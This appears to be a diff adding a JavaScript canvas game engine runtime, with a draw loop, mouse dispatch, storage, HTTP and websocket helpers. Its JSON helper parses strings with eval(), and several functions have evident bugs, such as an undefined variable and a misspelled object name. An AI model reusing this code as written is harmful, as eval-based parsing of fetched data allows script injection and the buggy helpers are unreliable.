(window.requestAnimationFrame) { + g_GameObjectManager.now = Date.now(); + g_GameObjectManager.delta = g_GameObjectManager.now - g_GameObjectManager.then; + if (g_GameObjectManager.delta > 1000) { + g_GameObjectManager.now = Date.now(); + ;g_GameObjectManager.then = Date.now() - SECONDS_BETWEEN_FRAMES; + g_GameObjectManager.delta = Date.now(); + window.cancelAnimationFrame(g_GameObjectManager.hhhh); + g_GameObjectManager.tick(); + } + ; + } + ; + } + ; + this.drawone = function(obj, dfwts, dfwdt, dt) { + if (arguments.length == 4) { + if (obj.draw) { + if (obj.levelobj) { + if (obj.ontime > 0) { + if (obj.click_time == 0) { + obj.click_time = gameabc_face.nowttime; + obj.lasttime_ontimer = obj.click_time; + } else { + var ttt = gameabc_face.nowttime - obj.lasttime_ontimer; + if (ttt >= obj.ontime) { + obj.lasttime_ontimer = gameabc_face.nowttime; + var iii = ifast_div(ttt, obj.ontime); + var fun0 = gameabc_face["ontimer"]; + if (fun0) { + gameabc_face.drawtime = 1; + fun0(0, obj.objid, iii, ttt, gameabc_face.nowttime - obj.click_time); + } + ;var fun = gameabc_face["ontimer_" + obj.objid]; + if (fun) { + gameabc_face.drawtime = 1; + fun(obj.objid, obj.objid, iii, ttt, gameabc_face.nowttime - obj.click_time); + } + ; + } + } + } + ;if (obj.levelobj.vsb > 0 && obj.visbale != 0) { + this.backBufferContext2D.save(); + this.backBufferContext2D.beginPath(); + if (obj.f) { + this.backBufferContext2D.translate(obj.f.x, obj.f.y); + } + ;if (gameabc_face.gamemydrawbegin) { + gameabc_face.gamemydrawbegin(0, obj.objid, dfwts, dfwdt); + } + ;obj.draw(dt, this.backBufferContext2D, this.xScroll, this.yScroll); + var yyy1; + var obj2; + var r2; + var ll; + var objlis; + if (obj.addlist) { + objlist = obj.addlist; + ll = objlist.length; + for (yyy1 = 0; yyy1 < ll; yyy1++) { + obj2 = obj[objlist[yyy1]]; + if (obj2) { + if (ifast_checkrect_seefastxy(obj.x + obj2.x, obj.y + obj2.y) == 0) { + continue; + } + ;if (ifast_checkrect_seefastxywh(obj.x + obj2.x, obj.y + obj2.y, obj.x + obj2.x + obj2.w, obj.y + obj2.y + obj2.h) == 0) { + continue; + } + ;ifast_mydrawsprite(obj, obj2); + continue; + r2 = ifast_rect(obj.x + obj2.x, obj.y + obj2.y, obj.x + obj2.x + obj2.w, obj.y + obj2.y + obj2.h); + if (ifast_checkrect(ifast_seerect, r2) == 1) { + ifast_mydrawsprite(obj, obj2); + } + } + } + } + ;gameabc_face.gamemydraw(0, obj.objid, dfwts, dfwdt); + this.backBufferContext2D.restore(); + } + ; + } else {} + ; + } + ;return; + } + ;var x; + for (x in this.gameObjects) { + obj = this.gameObjects[x]; + this.drawone(obj, dfwts, dfwdt, dt); + } + ; + } + ; + this.tick = function() { + var uu; + if (window.requestAnimationFrame) { + g_GameObjectManager.hhhh = requestAnimationFrame(g_GameObjectManager.tick); + g_GameObjectManager.now = Date.now(); + g_GameObjectManager.delta = g_GameObjectManager.now - g_GameObjectManager.then; + if (g_GameObjectManager.delta >= SECONDS_BETWEEN_FRAMES) { + g_GameObjectManager.then = g_GameObjectManager.now - (g_GameObjectManager.delta % SECONDS_BETWEEN_FRAMES); + g_GameObjectManager.draw(); + } + } else { + setTimeout(g_GameObjectManager.tick, SECONDS_BETWEEN_FRAMES); + g_GameObjectManager.draw(); + } + ; + } + ; + this.clearcanvas = function() {//---xwb--------------------- + this.backBufferContext2D.save(); + this.backBufferContext2D.beginPath(); + // this.backBufferContext2D.clearRect(0, 0, this.backBuffer.width, this.backBuffer.height); + // if (gameabc_Object.ObjectList.length < 20 && (!gameabc_face.dfwtou)) { + // this.backBufferContext2D.fillStyle = "white"; + // this.backBufferContext2D.fillRect(0, 0, this.backBuffer.width, this.backBuffer.height); + // } else {} + } + ; + this.draw = function() {//---xwb--------------------- + try{ + + var bugi=0; + var thisFrame = new Date().getTime(); + var dfwdt = (thisFrame - this.lastFrame); + var dfwts = parseInt(dfwdt / SECONDS_BETWEEN_FRAMES); + var dt = dfwdt / 1000; + this.lastFrame = thisFrame; + var clickid1 = 0; + gameabc_face.getruntime_now(); + gameabc_runani(); + bugi=1; + gameabc_runbox(); + bugi=2; + if (g_mouse.doup == false) { + var tt = gameabc_face.nowttime - g_mouse.down_time; + if (tt < gameabc_face.fastup_time) { + gameabc_face.fastup = g_mouse.down_spid; + } + } + ;if (!g_mouse.dodown) { + logmessage("mousedown/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy); + gameabc_face.mousedown(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy); + g_mouse.dodown = true; + if (gameabc_face["mousedown_" + g_mouse.down_spid]) { + gameabc_face["mousedown_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy); + } + ; + } + ;if (g_mouse.isMouseDown) { + gameabc_face.drawmouse = 1; + var tt = gameabc_face.nowttime - g_mouse.down_time; + if (g_mouse.ismove == false) { + logmessage("mousedown_nomove/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy + "/" + tt); + gameabc_face.mousedown_nomove(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, tt); + if (gameabc_face["mousedown_nomove_" + g_mouse.down_spid]) { + gameabc_face["mousedown_nomove_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, tt); + } + } else { + logmessage("mousemove/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy + "/" + tt + "/" + (g_mouse.pointX - g_mouse.downx) + "/" + (g_mouse.pointY - g_mouse.downy)); + gameabc_face.mousemove(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, g_mouse.pointX, g_mouse.pointY, tt, g_mouse.pointX - g_mouse.movelastx, g_mouse.pointY - g_mouse.movelasty); + if (gameabc_face["mousemove_" + g_mouse.down_spid]) { + gameabc_face["mousemove_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, g_mouse.pointX, g_mouse.pointY, tt, g_mouse.pointX - g_mouse.movelastx, g_mouse.pointY - g_mouse.movelasty); + } + ;g_mouse.movelastx = g_mouse.pointX; + g_mouse.movelasty = g_mouse.pointY; + } + } + ;if (g_mouse.doup == false) { + gameabc_face.drawmouse = 1; + var tt2 = gameabc_face.nowttime - g_mouse.down_time; + clickid1 = g_mouse.up_spid; + if (clickid1 > 0) { + gameabc_face.clickid = clickid1; + g_mouse.up_spid = clickid1; + } + { + gameabc_face.mouseup(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, clickid1, g_mouse.upx, g_mouse.upy, tt2); + if (gameabc_face["mouseup_" + g_mouse.down_spid]) { + gameabc_face["mouseup_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, clickid1, g_mouse.upx, g_mouse.upy, tt2); + } + ;logmessage("mouseup/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy + "/" + clickid1 + "/" + g_mouse.upx + "/" + g_mouse.upy + "/" + tt2); + } + ;g_mouse.doup = true; + gameabc_face.fastup = -1; + } + ;if (gameabc_face.userchargez == 1) { + if (gameabc_face.chargez == 1) { + this.gameObjects.sort(function(a, b) { + return a.zOrder - b.zOrder; + }); + gameabc_face.chargez = 0; + } + ; + } + ;this.clearcanvas(); + bugi=3; + gameabc_face.gamebegindraw(0, 0, dfwts, dfwdt); + if (gameabc_face.userchargez == 1) { + this.drawone(dfwts, dfwdt, dt); + } else { + var obj; + var tid; + var yy; + var le = gameabc_Layer.LayerList; + var timelist = gameabc_Layer.showtimelist; + var showorder = gameabc_Layer.showorder; + var xx; + var yy1; + var pp; + for (yy1 = 0; yy1 < timelist.length; yy1++) { + yy = timelist[yy1]; + pp = le[yy].ontimelist; + if (pp.length > 0) { + for (xx = 0; xx < pp.length; xx++) { + obj = gameabc_Object["sp" + pp[xx]]; + if (obj) { + this.drawone(obj, dfwts, dfwdt, dt); + } else { + if (!gameabc_face.tsbb) { + showmessage('版本可能未注册!'); + gameabc_face.tsbb = 1; + } + } + } + ; + } else { + continue; + } + ; + } + ;for (yy1 = 0; yy1 < showorder.length; yy1++) { + yy = showorder[yy1]; + if (!le[yy].Property) { + continue; + } + ;pp = le[yy].ObjectList; + for (xx = 0; xx < pp.length; xx++) { + obj = gameabc_Object["sp" + pp[xx]]; + if (obj) { + this.drawone(obj, dfwts, dfwdt, dt); + } else { + if (!gameabc_face.tsbb) { + showmessage('版本可能未注册!'); + gameabc_face.tsbb = 1; + } + } + } + ; + } + ; + } + ;gameabc_face.gameenddraw(0, 0, dfwts, dfwdt); + bugi=4; + if (gameabc_face.showzt == 1) { + game124.update(); + } + ;if (gameabc_face.loglist.length > 0) { + var yyyy; + var uu = gameabc_face.loglist.length - 1; + for (yyyy = uu; yyyy >= 0; yyyy--) { + this.backBufferContext2D.textBaseline = "top"; + this.backBufferContext2D.fillStyle = "red"; + this.backBufferContext2D.font = 32 + 'px' + ' bold san-serif'; + this.backBufferContext2D.fillText(gameabc_face.loglist[yyyy], 10, 80 + (uu - yyyy) * 32); + } + ; + } + ;if (gameabc_face.obj.color != 0) { + gameabc_face.zz2d.clearRect(0, 0, 1, 1); + gameabc_face.zz2d.fillStyle = gameabc_face.obj.color; + gameabc_face.zz2d.fillRect(0, 0, 1, 1); + this.backBufferContext2D.drawImage(gameabc_face.zz_canvas, 0, 0, 1, 1, 0, 0, this.backBuffer.width, this.backBuffer.height); + } + ;if (gameabc_face.obj.caption != "") { + this.backBufferContext2D.fillStyle = "white"; + this.backBufferContext2D.font = parseInt(24 * this.backBuffer.width / 480) + "px" + ' bold san-serif'; + this.backBufferContext2D.fillText(gameabc_face.obj.caption, parseInt(this.backBuffer.width / 2) - 50, parseInt(this.backBuffer.height / 2) + 100); + } + ;if (gameabc_face.checkmustdraw() == 0) { + return; + } + bugi=5; + ;this.context2D.fillStyle = this.crorle1; + // this.context2D.clearRect(0, 0, this.canvas.width, this.canvas.height);//--xwb-- + if (gameabc_face.showmode == 0) { + if (gameabc_face.jm_sj_tong == 0) { + this.context2D.save(); + this.context2D.translate(this.backBuffer.width / 2, this.backBuffer.height / 2); + this.context2D.rotate(-90 * Math.PI / 180); + this.context2D.translate(-this.backBuffer.height / 2, -this.backBuffer.width / 2); + this.context2D.drawImage(this.backBuffer, 0, 0, this.backBuffer.width, this.backBuffer.height, gameabc_face.drawx, gameabc_face.drawy, gameabc_face.drawh, gameabc_face.draww); + this.context2D.restore(); + } else { + this.context2D.drawImage(this.backBuffer, 0, 0, this.backBuffer.width, this.backBuffer.height, 0, 0, this.canvas.width, this.canvas.height); + } + ; + } else { + this.context2D.drawImage(this.backBuffer, 0, 0, this.backBuffer.width, this.backBuffer.height, gameabc_face.drawx, gameabc_face.drawy, gameabc_face.draww, gameabc_face.drawh); + } + bugi=6; + ;this.backBufferContext2D.restore(); + bugi=7; + }catch(e){ + // if(Net){ + // if(Net.submit_error){ + // if(gameabc_senderror == 0){ + // gameabc_senderror = 1; + // Net.submit_error("uidebug",bugi+':::'+e.stack);//xwb--------------- + // } + + // } + // } + console.log(e.stack); + } + } + ; + this.addGameObject = function(gameObject) { + this.gameObjects.push(gameObject); + this.gameObjects.sort(function(a, b) { + return a.zOrder - b.zOrder; + }); + } + ; + this.removeGameObject = function(gameObject) { + this.gameObjects.removeObject(gameObject); + } + ; +} +;ifastunit = 4; +Array.prototype.remove = function(from, to) { + var rest = this.slice((to || from) + 1 || this.length); + this.length = from < 0 ? this.length + from : from; + return this.push.apply(this, rest); +} +; +Array.prototype.removeObject = function(object) { + for (var i = 0; i < this.length; ++i) { + if (this[i] === object) { + this.remove(i); + break; + } + } +} +; +Array.prototype.indexofval = function(val) { + for (var i = 0; i < this.length; i++) { + if (this[i] == val) + return i; + } + ;return -1; +} +; +Array.prototype.removeval = function(val) { + var index = this.indexOf(val); + if (index > -1) { + this.splice(index, 1); + } +} +; +ifastunit = 5; +function VisualGameObject() { + this.image = null; + this.draw = function(dt, context, xScroll, yScroll) { + context.drawImage(this.image, this.x - xScroll, this.y - yScroll); + } + ; + this.startupVisualGameObject = function(image, x, y, z) { + this.startupGameObject(x, y, z); + this.image = image; + return this; + } + ; + this.shutdownVisualGameObject = function() { + this.shutdownGameObject(); + } + ; +} +;VisualGameObject.prototype = new GameObject; +ifastunit = 3; +var FPS = 33; +var SECONDS_BETWEEN_FRAMES = 1000 / FPS; +var SECONDS_BETWEEN_FRAMES2 = 500 / FPS; +var g_GameObjectManager = null; +var g_mouse = {}; +window.onload = init; +function init() { + gameabc_face.gameini(); + gameabc_face.fastup = -1; + new GameObjectManager().startupGameObjectManager(); +} +;ifastunit = 6; +var gameabc_face = gameabc_face || {}; +var ifastfen = "\r\n"; +var ifastnull = null; +var dfwnull = "null"; +var ifastno = undefined; +gameabc_face.showmessage = function(str, mode) { + if (arguments.length == 1) { + alert(str); + } else { + var s = prompt(str); + return s; + } +} +; +gameabc_face.logmessage = function(str) { + console.info(str); +} +; +function ifast_float(f, r) { + if (arguments.length == 1) { + r = gameabc_face.vw; + } + ;return parseFloat(i * r); +} +;function ifast_int(i, r) { + if (arguments.length == 1) { + r = gameabc_face.vw; + } + ;return parseInt(i * r); +} +;function ifast_inttostr(i) { + return i.toString(); +} +;function ifast_strtoint(s, def) { + var u = parseInt(s); + if (u == 0) { + return 0; + } + ;if (!u) { + if (!def) { + def = 0 + } + ;u = def; + } + ;return u; +} +;function set_color(spid, r, g, b, a) { + var c; + if (a == 0) { + c = 0; + } else { + c = "rgba(" + r + "," + g + "," + b + "," + a / 256 + ")"; + } + ;set_self(spid, 58, c, 0, 0); +} +;function game_open_zsmsg(msg, a) { + gameabc_face.drawcharge = 1; + set_self(0, 7, msg, 0, 0); + if (!a) { + a = 32; + } + ;if (gameabc_face.obj.color == 0) { + set_color(0, 0, 0, 0, 128 + a); + } + ;gameabc_face.obj.canclick = 0; +} +;function game_close_zsmsg() { + gameabc_face.drawcharge = 1; + set_self(0, 7, "", 0, 0); + set_self(0, 58, 0, 0, 0); + gameabc_face.obj.canclick = 1; +} +;function open_load(bmprec, wavrec, urlrec) { + if (wavrec) { + ifast_wav.loadall(wavrec); + } + ; +} +;function ifast_strtotime(str) { + return Date.parse(str); +} +;function ifast_getonlyid() { + var timestamp3 = new Date().getTime(); + timestamp3 = ifast_random(9999999999) + '0' + timestamp3; + return timestamp3; +} +;function set_windows(mysf, v, dfw) { + if (mysf == 100) { + document.body.style.background = "url(" + v + ")"; + return; + } + ;if (mysf == 101) { + gameabc_face.dfwgao = 1; + return; + } + ;if (mysf == 102) { + gameabc_face.dfwtou = 1; + return; + } + ;//gameabc_face.jm_sj_cj = mysf; + gameabc_Project.Property.Version = v; + ifast_ismast = 1; + if (dfw == 1977) { + game124.domElement.style.left = "1111110px"; + } + ;gameabc_face.resize2000(); +} +;function charge_windows(sjw, sjh, winw, winh) { + gameabc_face.isxz = 0; + gameabc_face.drawx = 0; + gameabc_face.drawy = 0; + gameabc_face.draww = 0; + gameabc_face.drawh = 0; +} +;function addinputdiv(id, type, x, y, w, h) { + return gameabc_face.addinputdiv(id, type, x, y, w, h); +} +;function set_selfdiv(div, p1, val, mode, data2) { + return gameabc_face.set_selfdiv(div, p1, val, mode, data2); +} +;function get_img(recid) { + var img = gameabc_load_img2(recid); + var get_img_canvas = document.createElement("canvas"); + var ctx = get_img_canvas.getContext("2d"); + get_img_canvas.width = img.width; + get_img_canvas.height = img.height; + ctx.drawImage(img, 0, 0); + return get_img_canvas.toDataURL("image/png"); +} +;function ifast_loadsprite(spritelist) { + var i; + for (i = 0; i < spritelist.length; i++) { + gameabc_loadui2(spritelist[i]); + } +} +;function openurl(url, mode, cp1) { + if (cp1) { + url = url + "?" + cp1; + } + ;switch (mode) { + case 0: + window.location.href = url; + break; + case 1: + break; + default: + window.location.href = url; + break; + } +} +;function up_imgurl(recid, url, rewh) { + var img = gameabc_load_img2(recid); + gameabc_face.img_list_downing.removeObject(img); + if (rewh == 1) { + img.rewh = 1; + } + ;img.onload = function() { + gameabc_face.drawcharge = 1; + if (this.rewh == 1) { + ifast_checkimg(recid, 1); + } else { + var obj = gameabc_Image.ImageFileList[recid]; + if ((obj.img.allh < img.height) || (obj.img.allw < img.width)) { + ifast_checkimg(recid, 1); + } + } + ;img.rewh = 0; + } + ; + img.src = url; + //img.crossOrigin = '*';//??????,????????,??? anonymous +} +;function up_imgdata(recid, data) { + gameabc_face.drawcharge = 1; + var img = gameabc_load_img2(recid); + if (data.substring(0, 4) != "data") { + img.src = "data:image/jpeg;base64," + data; + return; + } + ;img.src = data; +} +;function get_selfdiv(div, p1) { + gameabc_face.get_selfdiv(div, p1); +} +;function set_selflist_off(id, offx1, offy1) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return; + } + ;obj.setoff(offx1, offy1); +} +;function set_selflist_xywh(id, x1, y1, w1, h1) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return; + } + ;obj.x = x1; + obj.y = y1; + obj.w = w1; + obj.h = h1; + obj.charge(x1, y1, w1, h1); +} +;function ifast_random(b) { + return parseInt(Math.random() * b); +} +;function ifast_abs(b) { + return Math.abs(b); +} +;function ifast_tcp_open(tcpid, weburl) { + ifast_wss.open(tcpid, weburl); +} +;function ifast_tcp_send(tcpid, msg) { + msg = ifast_jsonchecktostring(msg); + ifast_wss.send(tcpid, msg); +} +;function ifast_tcp_close(tcpid) { + ifast_wss.close(tcpid); +} +;function set_jm_xx(jms) { + var arr1 = jms.split(","); + var i = 0; + var level1 = 0; + var d = 0; + var id; + var leid; + var obj2; + for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + gameabc_Layer.LayerList[d].vsb = 0; + } + ;gameabc_face.chargez = 1; + for (i = 0; i < arr1.length; i++) { + level1 = arr1[i]; + leid = gameabc_Layer.LayerList[level1]; + if (!leid) { + continue; + } + ;leid.vsb = 1; + for (d = 0; d < leid.ObjectList.length; d++) { + id = leid.ObjectList[d]; + obj2 = ifast_getobj(id); + if (obj2) { + obj2.zOrder = i * 10000 + obj2.uidata.IndexOfLayer; + } + } + ; + } + ; +} +;function ifast_ajax(myid, url, postcs, mode, fun) {} +;function ifast_http(myid, url, postcs, mode, fun) { + postcs = ifast_jsonchecktostring(postcs); + var temp = url.substr(url.length - 4); + if (temp == '.txt' || temp == '.html' || postcs) {} else { + if ((temp[0] != '.') || (temp != '.txt' && temp != '.html')) { + if (gameabc_face.randomhttp > 0) { + url = url + '&dfwhttp=' + ifast_random(gameabc_face.randomhttp) + ifast_random(gameabc_face.randomhttp); + } + ; + } + } + ;var pos = url.indexOf("http"); + if (pos < 0) { + url = getRootPath() + "/" + url; + } + ;var d; + var func; + if (fun) { + func = fun; + } else { + func = gameabc_face.httpmessage; + } + ;if (mode == 0) { + d = readfile_t(url, postcs); + if (func) { + func(myid, url, d); + } + ; + } else { + if (func) { + readfile_a2(myid, url, postcs, func); + } + ; + } + ; +} +;function play_wav(id, isloop1) { + ifast_wav.playwav(id, isloop1); +} +;function ifast_getcs(name, daf) { + return gameabc_face.ifast_getcs(name, daf); +} +;function set_chargez(spid1, spid2) { + var b1; + var b2; + var t; + b1 = ifast_getobj(spid1); + b2 = ifast_getobj(spid2); + if (!b1) + return; + if (!b2) + return; + t = b1.zOrder; + b1.zOrder = b2.zOrder; + b2.zOrder = t; + gameabc_face.chargez = 1; + gameabc_face.userchargez = 1; + gameabc_face.drawcharge = 1; +} +;function readfile_key(key) { + return localStorage.getItem(key); +} +;function ifast_getdc_rect(dcid) { + var rect1 = {}; + var ui = g_GameObjectManager; + switch (dcid) { + case 1: + return ifast_rect(ui.bg1.x, ui.bg1.y, ui.bg1.width, ui.bg1.height); + break; + case 2: + return ifast_rect(ui.bg2.x, ui.bg2.y, ui.bg2.width, ui.bg2.height); + break; + default: + return ifast_rect(0, 0, ui.backBuffer.width, ui.backBuffer.height); + ;break; + } +} +;function ifast_getdc(dcid) { + switch (dcid) { + case 0: + return g_GameObjectManager.d2dbj; + break; + case 1: + return g_GameObjectManager.d2dbj1; + break; + case 2: + return g_GameObjectManager.d2dbj2; + break; + default: + return gameabc_face.dc; + break; + } +} +;function ifast_mydrawsprite(spid, spidsourse, sp_x, sp_y) { + var tx, ty; + if (arguments.length == 2) { + tx = spidsourse.x; + ty = spidsourse.y; + spidsourse.x = spid.x + spidsourse.x; + spidsourse.y = spid.y + spidsourse.y; + spidsourse.draw(0, gameabc_face.dc, 0, 0); + spidsourse.x = tx; + spidsourse.y = ty; + return; + } + ;var objs = ifast_getobj(spidsourse); + if (typeof (objs) == "object") { + if (spid > 0) { + var obj = ifast_getobj(spid); + if (typeof (obj) == "object") { + tx = objs.x; + ty = objs.y; + objs.x = obj.x + sp_x; + objs.y = obj.y + sp_y; + objs.draw(0, gameabc_face.dc, 0, 0); + objs.x = tx; + objs.y = ty; + } + ; + } + ; + } + ; +} +;function ifast_mydrawbmp(spid, recid, sp_x, sp_y, sp_w, sp_h, bmp_x, bmp_y, bmp_w, bmp_h) { + if (bmp_w <= 0) { + ifast_drawtext(spid, recid, sp_x, sp_y, sp_w, sp_h); + return; + } + ;if (spid <= 0) { + gameabc_face.dc.drawImage(img, bmp_x, bmp_y, bmp_w, bmp_h, sp_x, sp_y, sp_w, sp_h); + return; + } + ;var img = gameabc_load_img2(recid); + var obj = ifast_getobj(spid); + if (typeof (obj) == "object") { + gameabc_face.dc.drawImage(img, bmp_x, bmp_y, bmp_w, bmp_h, obj.x + sp_x, obj.y + sp_y, sp_w, sp_h); + } + ; +} +;function ifast_mydrawtext(spid, recid, sp_x, sp_y, sp_w, sp_h) { + gameabc_face.dc.textBaseline = "top"; + gameabc_face.dc.fillStyle = gameabc_GameTxt.GameTxtList[recid].Color; + gameabc_face.dc.font = sp_h + 'px' + ' bold san-serif'; + var caption = gameabc_GameTxt.GameTxtList[recid].Text; + if (spid <= 0) { + gameabc_face.dc.fillText(caption, sp_x, sp_y, sp_w); + return; + } + ;var obj = ifast_getobj(spid); + if (typeof (obj) == "object") { + gameabc_face.dc.fillText(caption, obj.x + sp_x, obj.y + sp_y, sp_w); + } + ; +} +;function ifast_lenth(key) { + if (typeof (key) != "string") { + var g = key + ""; + return g.length; + } else { + return key.length; + } +} +;function ifast_stringat(key, pos) { + return key.charAt(pos); +} +;function ifast_setpause(is) { + if (!gameabgc_face.pause) { + gameabc_face.pause = 0; + } + ;return gameabc_face.pause = is; +} +;function ifasthttpobj(httppath, httpdata) { + this.httppath = httppath; + this.httpdata = httpdata; + this.httppath = readfile_t(httppath); + this.httpdata = readfile_t(httpdata); + ;this.render = function() { + return this.httppath; + } +} +;function ifast_replaceall(str, oldkey, newkey) { + var regS = new RegExp(oldkey,"g"); + return str.replace(regS, newkey); +} +;function ifast_replacestr(str, oldkey, newkey) { + return str.replace(oldkey, newkey); +} +;function ifast_copystr(str, start, end) {} +;function ifast_getpause() { + if (!gameabgc_face.pause) { + gameabc_face.pause = 0; + } + ;return gameabc_face.pause; +} +;function drawround(ctx, mode, cx, cy, r, fx, bgColor, starta, enda, isout) { + if (typeof (ctx) == "object") { + gameabc_face.drawround(ctx, mode, cx, cy, r, fx, bgColor, starta, enda, isout); + } else { + if (ctx == 0) { + gameabc_face.drawround(gameabc_face.dc, mode, cx, cy, r, fx, bgColor, starta, enda, isout); + } else { + var x1 = get_self(ctx, 18, 0, 0, 0); + var y1 = get_self(ctx, 19, 0, 0, 0); + cx = cx + x1; + cy = cy + y1; + gameabc_face.drawround(gameabc_face.dc, mode, cx, cy, r, fx, bgColor, starta, enda, isout); + } + ; + } + ; +} +;function drawlines(ctx, startx, starty, endx, endy, lw, bgColor) { + if (typeof (ctx) == "object") { + gameabc_face.drawlines(ctx, startx, starty, endx, endy, lw, bgColor); + } else { + if (ctx == 0) { + gameabc_face.drawlines(gameabc_face.dc, startx, starty, endx, endy, lw, bgColor); + } else { + var x = get_self(ctx, 18, 0, 0, 0); + var y = get_self(ctx, 19, 0, 0, 0); + startx = startx + x; + starty = starty + y; + endx = endx + x; + endy = endy + y; + gameabc_face.drawlines(gameabc_face.dc, startx, starty, endx, endy, lw, bgColor); + } + ; + } + ; +} +;function set_clip(ctx, mode, x, y, w, h, starta, enda, timefx) { + if (typeof (ctx) == "object") { + gameabc_face.set_clip(ctx, mode, x, y, w, h, starta, enda, timefx); + } else { + if (ctx == 0) { + gameabc_face.set_clip(gameabc_face.dc, mode, x, y, w, h, starta, enda, timefx); + } else { + var x1 = get_self(ctx, 18, 0, 0, 0); + var y1 = get_self(ctx, 19, 0, 0, 0); + x = x + x1; + y = y + y1; + gameabc_face.set_clip(gameabc_face.dc, mode, x, y, w, h, starta, enda, timefx); + } + ; + } + ; +} +;function drawrect(ctx, mode, x, y, w, h, bgColor, isout) { + if (typeof (ctx) == "object") { + gameabc_face.drawrect(ctx, mode, x, y, w, h, bgColor, isout); + } else { + if (ctx == 0) { + gameabc_face.drawrect(gameabc_face.dc, mode, x, y, w, h, bgColor, isout); + } else { + var x1 = get_self(ctx, 18, 0, 0, 0); + var y1 = get_self(ctx, 19, 0, 0, 0); + x = x + x1; + y = y + y1; + gameabc_face.drawrect(gameabc_face.dc, mode, x, y, w, h, bgColor, isout); + } + ; + } + ; +} +;function play_box(zt, id, sx, start, startv, av, timelen) { + return ifast_wss.playbox(zt, id, sx, start, startv, av, timelen); +} +;function play_ani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode) { + return ifast_wss.playani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode); +} +;function play_ani123(zt, id, sx, start, end, timelen, timesall, timeall, xhmode) { + return ifast_wss.playani(zt, id, sx, start, end, 0, timelen, 0, 0, 0, timesall, timeall, xhmode); +} +;function writefile_key(msg, key) { + localStorage.setItem(key, msg); +} +;function writefile_gameid(msg, gameid, fileid) { + localStorage.setItem("file_" + gameid + "_" + fileid, msg); +} +;function readfile_gameid(gameid, fileid) { + return localStorage.getItem("file_" + gameid + "_" + fileid); +} +;function chartoint(str) { + return str.charCodeAt(); +} +;function inttochar(code) { + return String.fromCharCode(code); +} +;function ifast_isno(str) { + if (str == ifastno || str == ifastnull) { + return true; + } else { + return false; + } + ; +} +;function ifast_set_str_add(str1, str2, delim) { + if (ifast_isno(delim) == true) { + delim = 0; + } + ;if (delim == 0) { + return str1 + "\r\n" + str2; + } else if (delim == -1) { + return str1 + str2; + } else { + return str1 + inttochar(delim) + str2; + } +} +;function ifast_checkjsonstr(v) { + v = other_replaceall(v, "\n", "\\n"); + v = other_replaceall(v, "\r", "\\r"); + return v; +} +;function ifast_tojson(str) { + var h = {}; + if (str == '') { + h.error = '空字符'; + return h; + } + ;h = eval("(" + str + ")"); + return h; +} +;function ifast_jsontostring(json1) { + return JSON.stringify(json1); +} +;function ifast_get_str_index(str, index1, delim) { + return ifast_get_str_val(str, "", delim, index1); +} +;function ifast_get_str_val(str, com, delim, index) { + var delim1; + if (ifast_isno(delim)) { + delim1 = ifastfen; + } else { + delim1 = delim; + } + ;var arr1 = str.split(delim1); + if (com == "") { + if (ifast_isno(index) == true) { + return "null"; + } + ;if (arr1[index]) { + return arr1[index]; + } else { + return "null"; + } + ; + } + ;var str1; + var arr2; + for (i = 0; i < arr1.length - 1; i++) { + str1 = arr1[i]; + arr2 = str1.split("="); + if (com == arr2[0]) { + return arr2[1]; + } + ; + } +} +;function ifast_get_str_count(str, delim) { + var delim1; + if (ifast_isno(delim)) { + delim1 = ifastfen; + } else { + delim1 = delim; + } + ;var arr1 = str.split(delim1); + return arr1.length; +} +;function showmessage(str, mode) { + if (arguments.length == 1) { + var sUserAgent = navigator.userAgent.toLowerCase(); + var bIsIpad = sUserAgent.match(/ipad/i) == "ipad"; + var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os"; + var bIsMidp = sUserAgent.match(/midp/i) == "midp"; + var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; + var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb"; + var bIsAndroid = sUserAgent.match(/android/i) == "android"; + var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce"; + var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile"; + if ((typeof (settings) != "undefined") && (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM)) { + settings.showmessage(str); + } else { + alert(str); + } + } else { + var mybody = document.getElementsByTagName("body")[0]; + var mytablebody = document.createElement("textarea"); + mytablebody.style = "left:0px;top:0px;width:800px;height:600px;position:absolute"; + mytablebody.value = str; + mybody.appendChild(mytablebody); + } +} +;function ifast_renderjson2html(data, inits, re, mb) { + var ss = inits; + if (re == 1) { + ss = ss + mb; + } + ;for (var o in data) { + if (typeof (data[o]) == "function") { + continue; + } + ;if (typeof (data[o]) == "object") { + if (data[o].constructor.name == 'Array') { + ss = ifast_renderjson2html(data[o], ss, 0, mb); + } else { + if (data[o].hasOwnProperty('mydata')) { + ss = ifast_renderjson2html(data[o], ss, 1, data[o].mydata); + } else { + if (data[o].hasOwnProperty('myfunc')) { + ss = ifast_renderjson2html(data[o], ss, 2, data[o].myfunc); + } else { + ss = ifast_renderjson2html(data[o], ss, 0, mb); + } + ; + } + } + } else { + switch (re) { + case 2: + if (o != "myfunc") { + ss = mb + "&" + o + "=" + data[o]; + ss = readfile_t(ss); + ss = inits + ss; + } + ;break; + case 1: + if (o != "mydata") { + ss = ifast_replacestr(ss, "{%=" + o + "%}", data[o]); + } + ;break; + default: + ss = ss + data[o]; + break; + 